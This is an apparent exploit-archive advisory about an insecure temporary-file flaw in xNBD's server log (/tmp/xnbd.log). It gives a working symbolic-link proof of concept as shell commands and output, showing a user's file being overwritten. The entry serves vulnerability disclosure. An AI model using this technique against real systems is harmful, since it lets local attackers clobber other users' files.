xNBD – ‘/tmp/xnbd.log’ Insecure Temporary File Handling
source: https://www.securityfocus.com/bid/57784/info xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible. $ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log $ touch DISK $ truncate --size=$((100*1024**2)) DISK $ /usr/sbin/xnbd-server --daemonize --target DISK xnbd-server(12462) msg: daemonize enabled xnbd-server(12462) msg: cmd target mode xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB) xnbd-server(12462) msg: xnbd master initialization done xnbd-server(12462) msg: logfile /tmp/xnbd.log $ ls -l ~/ATTACK_TARGET -rw------- 1 user123 user123 653 Feb 1 16:41 \ /home/user123/ATTACK_TARGET |